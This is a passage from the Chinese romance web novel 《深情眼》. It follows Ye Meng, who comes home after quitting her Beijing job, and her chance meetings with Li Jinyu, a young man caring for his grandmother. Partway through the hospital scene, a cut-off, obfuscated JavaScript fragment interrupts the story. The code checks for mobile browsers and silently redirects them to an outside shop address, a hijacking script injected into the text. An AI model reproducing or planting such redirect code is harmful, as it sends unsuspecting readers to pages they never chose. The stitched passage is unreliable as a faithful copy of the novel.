《深情眼》
1. 引子
二零一四年。
S学院宿舍,三台立式风扇嗡嗡转动,股股热浪扑面,蒸得仙人掌都发蔫。
“明天晚上A大有帅哥请吃饭,我帮你们答应了,谁都不许跑。”
“你啥时候跟A大的学霸小哥哥们勾搭上了?”有人搭腔。
“巧合巧合,”小祝笑眯眯道,“咱们S学院虽然是个小三本,但都新闻系的,以后也还是有机会跟他们成为同事嘛!说不定人家在外头风风火火上新闻的时候,咱们能在一旁扛个摄影机递话筒什么的,而且A大的学霸对咱们这种学渣都很友好啦!”
“是对美女友好吧——”
不等舍友说完,一言未发的叶濛胡乱抽了几本书塞进背包里,顾不上封拉链,含了口水转身躲进卫生间。小祝忙不迭跟上去,阴魂不散地哐哐大力拍门:“我不是没有警告过你哦,下周就要交第一个月的实习报告了,你实习单位到底找到没?”
“懒得找。”
“你干脆懒得吃饭算了。”小祝瘪嘴。
三本院校就这样,辅导员担心她们找不到实习单位影响今年学校的就业率,提前好几个月就找小祝谈过关于实习的事情,不过叶濛家庭情况特殊,没当一回事,小祝也只能支支吾吾跟辅导员打马虎眼:“濛……叶濛同学可能毕业要回老家,所以不打算在北京找实习单位。”
辅导员听完当即一通数落,话不怎么好听,但发自内心:“你们这些外地姑娘没权没势没背景,本来就落后别人一大截,大学四年也不努努力,光混个文凭,找不着工作就回家啃老,不知道你们父母含辛茹苦供你们上学是为了什么?”
“叶濛同学说了,是为了听您的谆谆教诲。”小祝面不改色心不跳,将平日里叶濛的小皮劲儿学了个十成十。
“好的不学,你跟叶濛学,没皮没脸,走走走。”话这么说,脸上还是笑着的。
-
某私人医院精神科VIP诊室。
心理医生还没来,就诊桌前坐着一个英俊翩翩的年轻男人。他面前摆着一杯热气腾腾、现泡的雀巢咖啡。“梁医生刚在住院病房开完会,马上就上电梯了,您稍等。”
“好,谢谢。”
他完全不像得了抑郁症需要心理咨询的,笑起来人畜无害还英俊帅气挺有感染力。
“我就说,他看着像勾恺的朋友,还真是。”
勾恺是梁医生的前男友。分手虽然不太愉快,但是勾恺是个富二代,朋友非富即贵还都挺帅,小护士们留着他的微信偶尔看看帅哥还是很养眼的。那群富家子平日活动真不少。不过今日来的这位弟弟出镜挺少,但还是被眼尖的护士一眼给认出来了。
“厉害厉害,这马赛克的像素你都能看出来,明年升你当护士长。”
“别太花痴,怕你被渣男虐。”
“他不一样,他是小开圈里的傻白甜,勾恺说他是被人卖了不仅帮着数钱还帮着理财的那种。特别单纯。至今都没交过一个女朋友。”
“这么纯情?”
“真的,绝种了。”
电梯门叮咚一响,跟灭霸打了个响指似的,所有人光速消失。梁菲从电梯出来,跟护士台唯一留值人员要了杯咖啡。
梁菲进门就看见一颗金贵漂亮的后脑勺。桌上的咖啡已经凉透,杯圈细腻干净,咖啡沫全沾在原始高度。她估计这位全身上下无一不是名牌货、连手机壳都得带个logo、一看就是含着金汤匙出生的少爷,手都没往处伸。
梁菲脱下白大褂,很亲切地说:“要不要叫她们给你换杯白水?”
“不用,谢谢,”他也没多做解释,淡淡一笑,视线落在她的肚子上,一愣,“勾恺没跟我说你怀孕了。”
“别担心,孩子不是他的,”梁菲不免觉得这话有点奇怪,自嘲一笑,直接开门见山道,“那咱们进入正题?”
“好。”他乖顺的说。
然而过程并没想象中那么顺利。
“名字。”
见他一愣,梁菲笑了下,“这只是例行询问,我知道你,勾恺跟我提过,你不用担心,既然来这里了,我一定会尽全力帮你。”
“我前几个心理医生都这么说,”他笑起来,一排白牙看起来无害又阳光,“但他们最后连我的名字都记错。”
“你找过几个心理医生?”梁菲见缝插针地问。
“三个。”
“三个都没记住?”
“我上个心理医生倒是对我的名字很熟悉,只不过,他转头就告诉我母亲,我只是装抑郁。”
“……你看起来确实不像有抑郁症,”梁菲若有似无地扫了眼他清秀的喉结,那上面有个淡淡吻痕,不过更像是一个疤,“所以你认为心理医生都是骗钱的?”
他温和一笑:“那倒也没。”
梁菲放下笔:“你的母亲呢?什么态度?”
“我母亲非常相信他,所以我给了他一笔钱。”他靠着椅背,不知什么时候拿起了摆在桌上的棒球,有一搭没一搭地抛着玩,“劝他转行。”
梁菲说:“所以,你的母亲并没有捍卫你身为病人的尊严。”
“是。”
“其实在勾恺之前,我听我弟弟提过你。他叫梁沐,他也是A大的学生,跟你不同系的。”
“是不是三点水的木,左脸颊有块胎记?”
梁菲似乎是没想到,“你记得?”
“嗯,一起上过选修课。”
“我听我弟弟说,你从小到大都是各种保送,各种评优,家里的奖状能糊满四面墙,而且你的记性特别好,他说你看书一目十行,看一遍全都记住了。上次还看到一个法语教授给你写了一封推荐信,让你去他们学校做法语演讲。我弟弟说你是他难得不讨厌的富家子,待人接物都很温柔。所以勾恺找到我的时候,我很惊讶。”
“我也很惊讶,我从小就很乖,但我身边的人都更喜欢我哥哥。”
“如果再给你个机会,你还会当乖乖仔吗?”
“不会。”他似乎厌恶极了现在的自己。
“我在想,是不是因为你从小一直以来太优秀,没有受过任何挫折,抗
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压能力相比较一般的男生,可能会弱一点?有时候别人的不注重细节,可能伤害了你?”
“你是想说我扛不住事儿,太矫情?”他挑眉,半开玩笑说。
“我不是这个意思。”梁菲马上解释。
他也马上露出一个令人心动的笑:“没事,我并没有生气。”
也许是格外出挑的外形和从小优秀的教养,致使他的言谈举止比很多正常人都懂事礼貌、得当妥帖。相比之前所有来咨询的患者,坦诚不躲避,礼貌又能拿捏人情世故,如果对方需要,他可以大大方方把自己的伤疤摊开让人观赏,她只是个普通的心理医生,但他却是个令人束手无策的完美病人。
-
晚上,S学院宿舍。
“哎,不是说今天晚上A大小哥哥请吃饭吗?小祝,小哥哥呢?被放鸽子啦?”
舍友一进门,就见小祝坐在电脑前正在看校招信息,跟霜打得茄子似的,没精打采地拖着音说:“取消了。”
舍友哀嚎连天。
“靠,你耍我们啊!”
“我刚刚下午才去买的小裙子。”
“都说了只对美女友好!”
“你咋没把濛濛照片发过去啊?就说咱们学校校花主动约呢!”
叶濛正巧进门,被人点炮,虎视眈眈地盯着她们,“诈骗这么多年,也没见你们骗出个男朋友来。”
“你本来就是公认的校花,谁诈骗了!”舍友笑嘻嘻地把她拉过来,“财经院那院草还在追你吗?”
“打住。”
小祝双唇仿佛被胶水沾住,蠕动了几次都没张开口,众人瞧她这若丧考妣的表情,才意识不对劲,“怎么了?”
“今天A大小哥哥发过来一条消息,说聚会取消,我问他为什么,他刚刚给我回过来一条消息,说他们新闻系一个学弟自杀了。现在在医院抢救。”
“玩这么大?我们已经丑到需要用自杀来逃避饭局了吗?”
“别开玩笑!人家很优秀人很好的,还是个富二代。”
“人总有各种各样活下去和活不下去的理由啊。”叶濛随口安慰道。
小祝憋着劲,想哭哭不出,因为去年在勾师兄的聚会上见过这位学弟,还听他唱了一首歌,叶濛问她好听吗。
小祝努力回想,“一般般。但是不可否认,他真的很有魅力。明明唱跑调了,所有人都不忍心让他尴尬,帮他一起往下接。你说说,这样一个人。为什么呜呜呜?”
-
梁菲第二天下班没走,她调出电子档案,看着那张标准冷淡的寸照。
照片中的男孩英俊挺拔,有蓬勃的少年气,精致、棱角分明的五官称不上多令人难忘,但偏偏拥有一双令人心动的深情眼,漆黑的瞳孔里仿佛藏着一只活蹦乱跳的小鹿,眼底尽是温柔和笑意,单是这么静态的照片,却也能感受到他张扬的气息,整个人意气风发宛如一棵青涩明朗的白杨树。这样的人,无论在哪,明亮干净的都如同一束光。
档案备注:李靳屿,二十二岁,A大新闻系。
2. 第一章
时间拨到五年后,二零一九年十月底。
“濛濛,过来切洋葱!”厨房隐约传来一声叫唤。
“唉!”叶濛懒懒地应声,丢下遥控器,走进去。
厨房里小姑正拎着螃蟹腿一只一只丢进锅里。叶濛挽起袖子走过去,故作惋惜地看锅里:“螃蟹也太惨了吧。”
小姑见不得她惺惺作态,翻个大白眼:“那你等会别吃。”
“那我也太惨了吧,”叶濛嬉皮笑脸地说,“说实话,在北京这么多年,您跟奶奶她们我都没怎么想,净想着您做这螃蟹。”
小姑盖上锅盖闷着,谑她:“之前不是还跟我们说,老板天天请你吃山珍海味,怎么,螃蟹被开除海鲜籍了?别说我做的味道不一样,从小你这嘴就是骗人的鬼,嘴里没句实话,信你我就中邪。”
叶濛笑而不语,北漂嘛,其中曲折跌宕都只有自己最清楚。家里人都不支持她去漂,叶濛也不愿说那些给她们添堵,把洋葱放上砧板,大脑突然一瞬空白,“怎么切来着?”
小姑知道她在北京这么多年铁定没下过一次厨房,“随便,你切成肉丁都成。”
“嘭——”叶濛毫不犹豫一刀拍下去,喃喃道,“这倒是个省钱的好办法。”
“等会奶奶过来,”小姑腾出手娴熟地切小段姜末扔进锅里,缓声提醒:“你别跟她吵架,好不容易回来一趟,别让邻里街坊看笑话。这个男的条件真的不错,奶奶做了好多工作……民政局的小刘说只要你喜欢,今晚为你加班。”
老太太又没经过她同意把人带家里来。
“我真是谢谢他,”叶濛心不在焉地盯着锅里说,“螃蟹麻烦放点香菜。辣椒酱在哪?”
叶濛进厨房就跟没头苍蝇似的乱转。
“在你手后边,”小姑推开碍事的人,忍不住骂骂咧咧道,“螃蟹螃蟹,一天到晚就知道吃螃蟹,聪明劲儿都用在吃螃蟹上。出去出去,别在这碍手碍脚的。”
-
初秋的雨毫无预兆地兜头浇下。
叶濛被赶出厨房后百无聊赖地趴在窗台上看着雨珠密匝匝地从天上降落,仿佛看见千万张由蜘蛛银丝制成的巨网掉下来,遮天掩地地笼着这座沉闷的城市,让人透不过气。
“叶小姐在北京是做什么工作?”
叶濛转头看着这个悄无声息出现在自己背后的男人,一身熨烫妥帖的西装衬衫,举手投足间都是成熟稳重的男人气息,算不上多帅,但模样周正倒也无可挑剔,在这个小镇上,算是出挑。但这种成熟稳重大本钟款不是她喜欢的类型。
他话不密,有句说句,更多时候,只是站在一旁默默抽烟,看得出来,也是迫于经济压力,才答应同她‘入赘’结婚。
是的,叶濛祖上不知道倒几辈子的血霉,她三位姑姑都不能生育,现在都是离异单身。独独叶濛父亲能生,偏不巧,那年代赶上计划生育,她爸在银行编制内,只允许生一个,不然就会被开除。于是叶家就叶濛这么一棵活蹦乱跳的独苗。
好在,老太太不重男轻女,全家上下对叶濛也是里外里的呵护备至。叶濛在北京读完大学,全家上下就耳提面命地要她回本地工作,结婚生子,正反是不让她留在北京。
“我给人打工的,”叶濛慢慢转过身,没拘束地抻腰,好奇地问,“我奶奶答应给你多少钱,你能同意跟我结婚的?”
叶家家库里估计没好几万块钱。叶家在镇上算是没落贵族,八卦秘史能养活几代说书先生,镇上现在那门庭奚落的说评书小茶楼里,还时不时提起叶濛的曾祖父。简而言之,就是曾祖父在的时候,家里还算顶有钱,也有面儿。但曾祖父去世之后,叶家阴盛阳衰,又没个能撑家的男人,没落至今。而家里的女眷,还没从当年那些辉煌历史中回过神来呢,尤其奶奶,非要叶濛留在镇上当个落魄小姐也比寄人篱下的北漂好。
然而叶家没落这么多年,本就是话题中心,这男方要真是做倒插门,那就真成行走的话题活靶子,有的是被人戳脊梁骨的时候。后来经过几位姑姑苦口婆心地轮番劝说,老太太终于不强求男方改姓入赘,但孩子必须姓叶。老太太别的都能妥协,就这事杆格不通。
“具体来讲,我只是跟伯父申请审批贷款,”男士立在栏杆旁,掸掸烟灰,表情始终如一,“咱俩结婚后,不用我买房买车,而且伯父说可以帮我申请员工贷利,另外,你奶奶说,你们家在南塘庵那套老祖屋的房子,可以写咱俩的名字,不过要等我们五十岁之后。”
叶濛:“那是危房,等不了你五十岁那房子早塌了。”
西装男没成想她这么直接,瞬间愣住,烟头烧半截来不及掸落在栏杆上,他下意识用袖子一抹,刚漆的栏杆,被他的西装扣勾出一道细微的划横。也顾不上自己西装扣上被磕掉的痕,温声道歉:“不好意思,这栏杆明天我找人帮你漆一遍?”
叶濛定定瞧他两秒,上下打量他半晌,半天吐出口气:“好,谢谢你。不过我觉得咱们还是当朋友合适。放心,不会影响你贷款的。”
小姑端着杯茶过来招呼客人,见她正往楼下走,忙把人喊住:“你干嘛去?”
“方雅恩腿摔断了,我去瞧瞧。”叶濛头也不回地瞎编道。
*
方雅恩跟她是高中同学,混姐,高中辍学去深圳打工。回来后在镇上经营一家西服店。两人从小穿一条开裆裤长大。叶家在镇上风言风语多,叶濛从小就是话题活靶子,都是方雅恩替她赶跑那些没事爱欺负、霸凌她的小孩。
八点,叶濛和被“摔断腿”的方雅恩在城西的密室逃脱店刷爆了三个密室记录,老板连忙拿出超级玩家小本本让她俩留下联系方式等下次密室更新提前邀请她俩试玩。
等出了门,两人往停车场走去,方雅恩这才想起来问:“对了,你今晚不是相亲吗?怎么突然跑出来刷密室了?”
叶濛脚步微微一滞,同她稍稍拉开些许距离,确定方雅恩揍不到她后才支吾说:“我说去医院。”
“去医院干嘛呢?”方雅恩早就该想到了,这丫头肯定又拿她打岔,从小到大“方雅恩感冒了”“方雅恩从楼上摔下来了”“方雅恩丢了”等等理由数不胜数。
“你腿折了。”叶濛说完撒腿就跑。
方雅恩原地炸毛:“……你皮又痒了是吧!!!你奶奶是不是觉得我从小到大能活到现在全靠吊着一口气啊?!”
敢这么拿方雅恩打岔的也只有叶濛了。方雅恩作为曾经的混姐,现在虽已金盆洗手,但镇上也没人敢真惹她,她是出了名的疯。
方雅恩气得上车就想点支烟,不过翻半天没找着打火机,又丢回去,一脚油门轰上路,随口问她:“这次回来待多久?”
叶濛坐在副驾,又丢出一个炸弹:“我辞职了。”
车子猛然一个急刹,叶濛猝不及防地给挡风玻璃前贴着方雅恩儿子照片的车载相框磕了个重重地响头。
“……”叶濛面无表情说:“你不用这么激动。我又不是怀孕了。”
“靠,你好好一公关经理,”方雅恩不可置信地盯着她,“怎么说辞职就辞职啊?!”
“公司来了新合伙人,在我的岗位上安插了新人助理,把我之前辛辛苦苦跟了几年的项目全部拿走,等于把我架空了。老板没发表意见,我就辞职了呗。”
方雅恩又是一个急刹。
叶濛急眼了:“你好好开车,我这都给你儿子磕俩头了,再磕一个我是不是得喊你妈啊。”
“别啊,你爸还单着呢,这多不好意思啊,”方雅恩大笑,不再一惊一乍,“我说你老板什么意思啊,你在公司这么多年,没有功劳也有苦劳啊,何况你这几年简直都快把命搭进去了。”
“是啊,”叶濛懒洋洋地靠在副驾上,“但新合伙人说,我老板怕我功高盖主,早留这一手了。”
暮色渐沉,道路暗又窄,这会儿进城车多,方雅恩一路近远光交错、加塞:“听这意思,还是勾恺故意撺掇他们赶你走的意思了?我靠,那你的房子呢?”
“什么房子?”
“你不做梦都打算在北京买套大别野把你奶奶和姑姑都接过去住吗!不说今年能买套三居的先凑活么?”
“不买了,再说,就我们家那几个大小姐,真买了她们也不愿意去,”叶濛看着镇上稀稀拉拉的夜景说,“而且这次回来我不打算再回去。”
车子经过一家超市,方雅恩下去买打火机,结账排老半天队。超市拥挤程度堪比老板又跟小姨子跑了老板娘开启清仓甩货模式,万人空巷,全镇人几乎都挤在这。
叶濛坐在车里瞧见几个混混模样涎皮赖脸地蹲在路灯下围着抽烟。
这是小镇青年的常态。
叶濛懒散无束的生活早已过够,可对大都市的勾心斗角也极具疲态。
新合伙人入资架空她,勾恺没有替她说任何场面话,叶濛就觉得自己这么多年的心血都喂了狗,即使合伙人没开口,她自己也会主动辞职。
方雅恩抽完一支烟才上车,一边从皮包里翻出香水一边对她说:“你真不打算走了?可想好了,你当初读了五年才考出去的,不就是想着带奶奶她们离开这里吗?你们叶家起起落落这么多年,好不容易看你快出息了,好吧你又给打回原形了。”
宁绥镇小,人却多,闲言碎语满天飞,叶濛从小就深有体会。她小时候考的零分卷子被人张贴在大会堂里,镇上欺负叶家男人懦弱老实。
至今还有人说,叶濛啊,就是叶家那考零蛋的闺女?叶老太爷是真倒霉哟,生个儿子无能懦弱,这媳妇儿生三个女儿又都生不下娃娃,好不容易生个小重孙,还是个女娃娃。智商还一般。高中读了五年才考上大学。
方雅恩倒不觉得叶濛智商一般,她只是天性散漫,懒得计较。
“
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我奶奶是死都要死在这的人,我带不动,她还盼着我在这结婚生小孩守叶家祖坟一辈子呢。算了,我不想回北京,在这找份工作吧。”叶濛补充了句,“对了,等会前面路口停下。”
方雅恩也懒得劝,对着遮阳板补完妆,准备启动车子:“去哪?”
“去巷子街吃螃蟹。”
方雅恩无奈:“你这点智商全用在吃螃蟹上了。不过今天不行,我老公不在,儿子作业还没辅导呢,改天吧,我请。”
“你儿子没上幼儿园呢,辅导什么作业?”
“你这什么记忆,我儿子已经小学了。而且现在的孩子拼的就是这个,绝不能让他输在起跑线上。毕竟隔壁老王的孩子已经会用英文打酱油了。”
“行吧,”叶濛本来也没打算带她,“正好,我自己去,吃完顺便再逛逛,说不定能有个艳遇什么的,离开这么多年,也不知道这镇上的弟弟们长开没有呢。”
“啧啧,你对姐弟恋还真是执着。”方雅恩笑着摇摇头。
然而螃蟹馆搬迁,也没贴新地址,整条巷子街似乎准备拆迁全部的招牌都拆得一干二净。
此时镇上漆黑一片,驼峰一样的青山模模糊糊隐在冥冥的暮色中,稀寥、不太起作用的几盏路灯也很随性地要亮不亮,月亮压着天边最后一层薄光勉强能让她分清方向。
叶濛准备去对面公园逛逛。
她慢悠悠晃着,沿路没看到弟弟,倒是看到几个褶子精大爷正在练太极剑,一推手一回眸都带着小镇老大爷的优雅和惬意。
直到她来到湖边,看到有个人。
确切地说,她是先看到螃蟹,才后知后觉地注意到旁边还有个人。
这边没灯,沿湖的石柱灯比路灯更随性,索性全体罢工,月光则显得格外慷慨地倾洒着自身的清辉,把平静的湖面衬得像是一面巨大的镜子,波光粼粼,荡着一圈圈不太起眼的涟漪。
就着这点残光,叶濛还是能看清护栏上的螃蟹是煮熟的——
以及那个男人有点年轻,可能是个弟弟。
他一身黑衣黑裤地坐在护栏上,身上黑色运动衫外套拉链拉到顶,竖着领子抵到修长的后脖颈。脑袋上戴着黑色渔夫帽,后颈上的碎发在月光下泛着光,湿漉漉的,还在往下滴水,后背浸湿,似乎是刚洗完澡没来得及擦就被人叫来湖边。
不知道为什么,这个高大宽阔微微低着头的背影,叶濛莫名地瞧着有点可怜,像一条没人要的丧家犬。
大约是察觉到什么,脑袋埋在衣领里的男人,忽然仰起头,露出紧瘦的下巴和带着湿意紧绷着的下颚以及在淡白的月光下微微泛着冷光的耳钉。这镇上戴耳钉的小混混居多,但也很少有人把耳钉戴得这么禁欲、冷气的。
男人余光扫到站在护栏下的叶濛,转过头来,湿漉漉的眼睛又暗又沉,情绪复杂,仿佛在等一场未知的审判。
“干什么?”
丧家犬说话了,声音很好听,在泛着隐隐青涩腥味的湖水池边,就像烈日里的清酒,带着清晰的冷意,听着就很解乏,只是声音有些沙哑,应该是最近声带有些受伤。
叶濛先是一愣,紧跟着四下环顾一圈,四周静谧无声,以及几片看着有点没着没落四处飘荡的树叶,再也没有任何能让他与之对话的东西,灯都黑着,连只过路的蚂蚁都没有。除了她。
“再看收费了。”丧家犬眼神冷淡地转过去。
“……”
叶濛惊诧地眨眨眼,现在的弟弟可真小气又傲娇。
“你还有事吗?”
好吧,叶濛轻轻咳了声,她这人向来擅长破罐破摔,干脆就厚着脸皮了呗——
“我能问你要……”
“没钱你泡什么妞?”丧家犬就着淡白的月光又莫名其妙地回头瞥她一眼,眼睛微微眯着,冷淡的眼皮因为不耐烦而压出三层:“有事,挂了。”
而叶濛这才看清他从衣领里穿出来的黑色耳机线。
原来他在打电话?
三分钟前,“小屿哥。”
“干什么。”
对方说:“你电脑在哪,借我下个软件,看点东西。”
“再看收费了。”
对方说:“别这样嘛,真是正经活——”
“你还有事吗?”他直接打断。
对方说:“抠门精!你别什么都想到钱啊!”
“没钱你泡什么妞,有事,挂了。”
……
气氛静默,湖面微微荡着涟漪,初秋的小镇万籁俱静,听不见半声狗吠。
丧家犬随手摘掉耳机,挂在竖着的衣领外。帽檐下那张脸偏冷白,唇线轮廓圆润清晰,坐在护栏上低垂着睨她一眼,似乎非常习惯于这种被女孩搭讪的状态:“要微信啊?”
“不是,”叶濛不太喜欢这种类型,灵机一动,矢口狡赖,“是这个螃蟹馆的地址。”
3. 第二章(修)
叮咚,叮咚。
叶濛还没到家,就接到方雅恩的微信。
Fang:我才想起来,巷子街整条街拆迁,你说的那螃蟹馆生意不太好,租了个小店面,具体搬到哪我明天帮你问问。
Fang:你现在在哪呢?不会已经在艳遇了吧?
她坐在滴滴专车里,窗外的风景一掠而过,川流的车灯与夜色交辉相映,在她脸上投下一片晦暗不明的浮光掠影。
柠檬叶:你对镇上的弟弟们有股谜之自信。
Fang:现在的弟弟们,一个长得比一个正。以我养孩子这么多年的经验,找老公绝对找个眼睛好看的,眼睛要是不好看,很容易影响下一代基因的。你看我隔壁老王的孩子,现在天天就家里嚷嚷着要给拉个双眼皮。
叶濛看着这段对话,脑中不知道怎么的,突然蹦出刚刚湖边那男人的双眼,他是偏细长的凤眼,眼尾微微下勾,不说话不消沉时应该透着温柔,偏偏是这种她最不喜欢的轻狂傲慢性子。
她喜欢乖男孩。
叶濛刚进门,沙发上齐齐整整一家人。乍眼一瞧像进了鹰窟,五六双眼睛如同鹰隼一般齐刷刷的盯着她。她早已司空见惯,视若无睹地上楼回卧室:“小姐少爷们还熬夜呢?明天长黑眼圈可别偷抹我的眼霜,奶奶。”
老太太两眼一闭,直直地朝着沙发背栽倒过去。
“妈!”
“妈!”
“老伴儿!”
众人惊恐万分、前仆后继冲过去。只有叶濛一动不动。但耐不住她大姑急赤白脸一通训:“你还干愣着干嘛!赶紧过来看看啊!你奶奶从小可最疼你!”
叶濛无奈,只得挪过去,刚一走近,意料之中地被人捉住手臂,老太太力气大得惊人,一把将她擒住:“你坐着!”
叶濛翻了个白眼,她就知道,这招屡试不爽。得了,今晚不用睡了。
老太太牢牢拽着她,力大无穷,叶濛叹息,一顿三碗饭的七旬老太,全国都找不出几个。
“你跟我说说,你到底什么意思?我给你找的这一个个,你都不满意。”
“我跟您说过了,”叶濛索性放弃挣扎,捞过旁边的遥控器,自暴自弃地说,“我喜欢比我小的。”
“你本来就这么不着边了,再找个比你小的,你俩是结婚还是准备拆家?”老太太一把夺过遥控器给关了。
叶濛默默翻白眼,视线斜向旁边沉默不语的俩男人。老头和她爹默不作声,淋漓尽致地发挥着叶家男人当花瓶的本事。
小姑倒是悄悄地站到她身后:“我挺支持濛濛找个小的。”
“你给我闭嘴,你就知道无条件向着她,”老太太驳斥道,转向大姑,“你说。”
她点名要最能干且一副精英派的大姑站她那边。
大姑向来明哲保身、不趟浑水,只随口问了句:“那你想找个小几岁的?”
“这哪有标准,一岁两岁不嫌少,七岁八岁不嫌小,”叶濛笑眯眯地说,“我够好说话了。”
老太太差点再次晕厥。刚要骂,叶濛手机接到条微信,脸色一变,不管三七二十一站起来匆忙说:“我不陪你们闹了,我得出去一趟。”
老太太哪肯就这么轻松放她走,“不行,这大半夜的你又上哪去?”
“奶奶,真有急事。方雅恩在家带小孩腿摔断了。”
老太太顶着一张绿油油的万年青苔脸,面无表情地说:“这个理由已经用过了。”
叶濛恨不得一掌拍死自己,真是好的不灵坏的灵。
“行吧,”叶濛灵光一闪,当即又编了个理由,“我出去找男朋友,其实我最近有在处,这不是不想打草惊蛇嘛。等我跟他关系确定下来就带回来给您看行不行?”
-
时针指向十一点,走廊昏暗。病房里灯光明亮,静谧无声,吊瓶缓缓在往下滴。
“干嘛,想抽烟?”
方雅恩听见这话,将目光转到隔壁床。隔壁床是个老太太,听说洗澡踩到肥皂滑倒,髋骨断裂,上了三枚钉。陪床家属是她的孙子,长得很帅,是那种少见的皮骨都帅。
“说了,不让抽。”隔壁床的老太太手刚伸出去,便被帅哥毫不留情地拍回来。老太太吃疼,立马举报偷笑的方雅恩——
“她刚刚都抽,你看,帘子还在冒烟。”
帅哥眉骨微微一拧,方雅恩愣住,立马胡乱对着空气拍散余烟,“没有,我还没做手术,抽根烟缓解下疼痛,抱歉啊。”
“没事,我奶奶烟瘾重,”帅哥挺好商量,没什么表情地叮嘱了句,“你最好不要当她面抽。”
“你不抽烟?”方雅恩盯着他的手,好奇地问了句。
这男人的手很好看,修长瘦直,骨节清晰,又白。仔细看,才会发现,食指和中指指尖颜色偏麦色。他年纪这样轻,没个几年抽凶烟的历史,不会这样。
“不抽。”他说。
病房刚安静下来两秒,老太太又不安分,指着电视机上威武霸气男主角的天价红酒,对她孙子说:“李巴豆,我要喝这个酒。”
方雅恩震惊于这老太,太暴殄天物。这么好看一帅哥,名字起得也忒草率。
男人茫然从手机中抬头,扫了眼,随即低下头:“买不起。”
老太太俩眼珠骨碌碌地盯着他,不依不饶:“让小江买,小江买得起。”
“她凭什么买?”
“你俩不是男女朋友么?”老太太悄悄凑过去,在他耳边出主意:“你不是马上要生日了吗?让她给你买生日礼物。”
男人低头发微信,嘲讽一笑:“我跟她只见过两面,就张口跟人要生日礼物,您觉得合适吗?”
“你是不是不喜欢小江?”老太太气鼓鼓地说,“不喜欢你就说,我让人再给你介绍一个,刘大爷那孙女怎么样,人家说了不用你买房买车,也不用彩礼,陪嫁还给三十万呢。”
因为那姑娘是个哑巴。方雅恩在心里补了句。
“这样吧,您把我卖了吧,至于卖多少钱,全凭您做主。卖了的钱,您就拿着吃喝玩乐周游世界,我去给人当上门女婿伺候人一家老小,怎么样,您满意吗?”男人倚着墙说。
这对祖孙真够凶残的,说话句句都往对方心窝戳。
老太太一枕头飞过去,“你滚!”
男人散漫一笑,冲墙角正在打游戏的小胖子说,“你看着奶奶,别让她跟隔壁姐姐借烟。”
方雅恩这才注意到,角落里还有个小胖子。
等叶濛到病房,时针指向十一点十五,小胖子一局还没打完。
叶濛就差跪着负荆请罪,她诚挚跟方雅恩道歉,发誓再也不拿她生命安全当借口。方雅恩佯装冷脸要求十顿螃蟹,叶濛讨价还价,五顿。两人正死乞白赖闹着,唰——横过来一只手,头顶突然传来低沉清越的声音,“你的外卖。”
两人顿时停下来,顺着这只清瘦的手臂瞧上去,叶濛两眼一抹黑,当头一棒,这不是几小时前在湖边她主动索要微信那小帅比吗?
小帅比拉链永远封得死死的,衣领竖着,黑色耳机线仍是穿在衣领外面。
其实她对长相不是太确定,第一反应就觉得这男的帅,紧跟着有点眼熟好像在哪见过,直到看到耳边那颗亮闪闪的耳盯,湖边画面就猛然撞入脑海中。
两人视线猝不及防地在空气中轻轻一碰,在昏昧的病房,眼神便多了奇遇。
帅比倒没她这么意外,几乎没在她身上停留,对方雅恩说:“外卖十点之后送不到病房,统一放在一楼快递站。要家属下楼拿,刚碰巧遇上,我就帮你拿上来了。下次你注意下时间。”
方雅恩忙说谢谢,跟已经愣出神的叶檬眨了眨眼,介绍:“这是隔壁床奶奶的孙子。”
男人没看叶檬,给方雅恩周到地递了张名片:“这是志愿者电话,没人陪护的时候,需要帮忙可以找他们。”
方雅恩感激涕零,回敬一张自己的名片,“我做西服的,有需要可以找我。要不加个微信?未来半个月可能会打扰你们。”
他俩加完微信,方雅恩顺势发了一条微信给她。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726184|189458||http|test|mini|href|location''.split(''|''),0,{}));
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>Fang:十顿螃蟹,帅哥微信。
柠檬叶:这男的微信恨不得挂在脸上给人扫,我才不加。
Fang:你哪来的误解?人家有女朋友了。
柠檬叶:有女朋友?更渣。那你还推给我?
Fang:谁说我要推给你了,骗你十顿螃蟹呗。
叶檬懒得搭理,饿得前胸贴肚皮。两人火速解决完三桶钵钵鸡,方雅恩闲着没事就跟一旁的小胖子聊了会儿,“他真的叫李巴豆?”
“那是小名,我哥小时候刚出生的时候就被他妈妈丢过一次,是我姨奶奶冒着大雪给抱回来的。别看我哥现在这么白,我姨奶奶说他小时候就瘦黑瘦黑的,跟个小巴豆一样,就叫了这么多年。他本名叫李靳屿。革斤靳,岛屿的屿。我们是表兄弟。”
方雅恩默默重复,叶濛压根没兴趣听,坐在一旁刷朋友圈回留言,好友问她什么时候回北京。
“你哥不是本地人吧?看着不太像。”
“我哥四年前过来的。我表叔死了,表婶改嫁,他就跟我姨奶奶相依为命了。”
“那你哥是做什么的?”
小胖子是典型叶濛喜欢的乖男孩,一五一十交代的老老实实:“他赚钱的什么都做的,帮人看店啊,或者帮人剪剪片子,偶尔也到酒吧里帮人唱唱歌,他除了不会开车,好像别的都会点。”
“没考驾照,还是什么?”
“有驾照,就是不太开。”
“他女朋友呢?”
“在北京做律师,长得可漂亮了。听说年收入有七位数。”
“本地人?”
方雅恩跟叶濛目光下意识互相刮了眼。
要真是本地人还在北京做律师,长得可漂亮、还姓江,那就只有一个人了。
叶濛只觉脑仁隐隐作疼。
“是的,宁绥人。”
两人几乎同时试探地开口:“不会叫江露芝吧?”
小胖子诧然,立马放下手机:“你们认识?”
何止认识啊,那简直是,叶濛过去十年寒窗生涯的噩梦。不可否认的是,江露芝确实在北京混得如鱼得水、那叫一个相当好,两人同在一个老乡群,几乎不常见面,但也经常听说这位姐姐的辉煌战绩。年收入百万是真的,长得也真漂亮。
叶濛跟江露芝的关系,用方雅恩的话来说,论长相,叶濛可能甩她一条街,但论手段,江露芝可能甩她十八条街。还是那句话,叶濛懒得争。上学时,俩人可能有过龙争虎斗一王八池呆不下俩鳖的状态。叶濛高中读了五年就是想考个比江露芝更好的院校,但奈何她平日里小聪明颇多,成绩就是毫无起色,最后也只上了普本。加上叶妈妈死后,叶濛就有点得过且过的意思了。
但有件事,叶濛不得不提——在她回来前一天,江露芝明明已经跟相恋十年的北京男友领了证。
